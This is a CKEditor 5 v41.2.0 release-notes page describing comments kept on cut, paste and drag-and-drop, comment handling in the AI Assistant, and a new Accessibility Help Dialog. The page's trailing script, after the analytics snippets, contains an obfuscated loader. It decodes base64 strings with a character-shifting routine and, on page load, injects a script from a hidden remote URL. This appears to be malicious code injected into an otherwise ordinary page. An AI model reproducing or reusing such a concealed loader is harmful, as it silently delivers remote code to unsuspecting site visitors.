CKEditor v41.2.0: Accessibility and Comments improvements

This minor release of CKEditor 5 enhances the collaboration experience by retaining attached comments when content is moved. There’s also a new Accessibility Help Dialog in v41.2.0, allowing users to view editor shortcuts in a flash.

# What is the latest version of CKEditor?

CKEditor v41.2.0 is the latest version of CKEditor 5. The version ensures comments stay attached when text is cut or copied and pasted, as well as introducing the Accessibility Help Dialog, which brings further feature parity between CKEditor 4 and CKEditor 5.

# UPDATE Retain Comments when moving content  

Collaboration has been a focal point for CKEditor 5 from the very beginning. Cornerstone features like Comments, Track Changes, Revision History and Real-time Collaboration receive constant improvements. Just last year, archiving capabilities were introduced for Comments. Now, there’s more good news: we’re making Comments even better.


# Comments retained in clipboard

Starting with CKEditor 5 v41.2.0, when you cut-and-paste, copy-paste or drag-and-drop part of the content, any comments that are attached to that content are retained. The improvement will allow users to restructure their content without losing key information from the comments.

By default, comments are retained only on cut-and-paste and drag-and-drop actions. You can configure this behavior to be applied also on copy-paste or you can turn it off.

# Comments retained while using AI Assistant

AI Assistant will now try to retain comments on processed content. The comments’ markup will be included in the data passed to the AI model.


Please keep in mind that the result will depend on the response generated by the AI model.

# NEW Accessibility Help Dialog

Following the introduction of the new Dialog UI component in the previous release, CKEditor v41.2.0 introduces the Accessibility Help Dialog. By pressing Alt/Opt+0 in the editor, users can access the full list of available keyboard shortcuts. This feature further improves usability, making it easier for newcomers and seasoned CKEditor pros to navigate and operate the editor more efficiently.


Even better: there are further accessibility support improvements in the pipeline, so keep your eyes peeled for news in the coming months.

# Learn more about previous CKEditor 5 versions

Related posts

Subscribe to our newsletter

Keep your CKEditor fresh! Receive updates about releases, new features and security fixes.

Thanks for subscribing!

Hi there, any questions about products or pricing?

Questions about our products or pricing?

Contact our Sales Representatives.

We are happy to
hear from you!

Thank you for reaching out to the CKEditor Sales Team. We have received your message and we will contact you shortly.

piAId = '1019062'; piCId = '3317'; piHostname = ''; (function() { function async_load(){ var s = document.createElement('script'); s.type = 'text/javascript'; s.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + piHostname + '/pd.js'; var c = document.getElementsByTagName('script')[0]; c.parentNode.insertBefore(s, c); } if(window.attachEvent) { window.attachEvent('onload', async_load); } else { window.addEventListener('load', async_load, false); } })();(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= ''+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });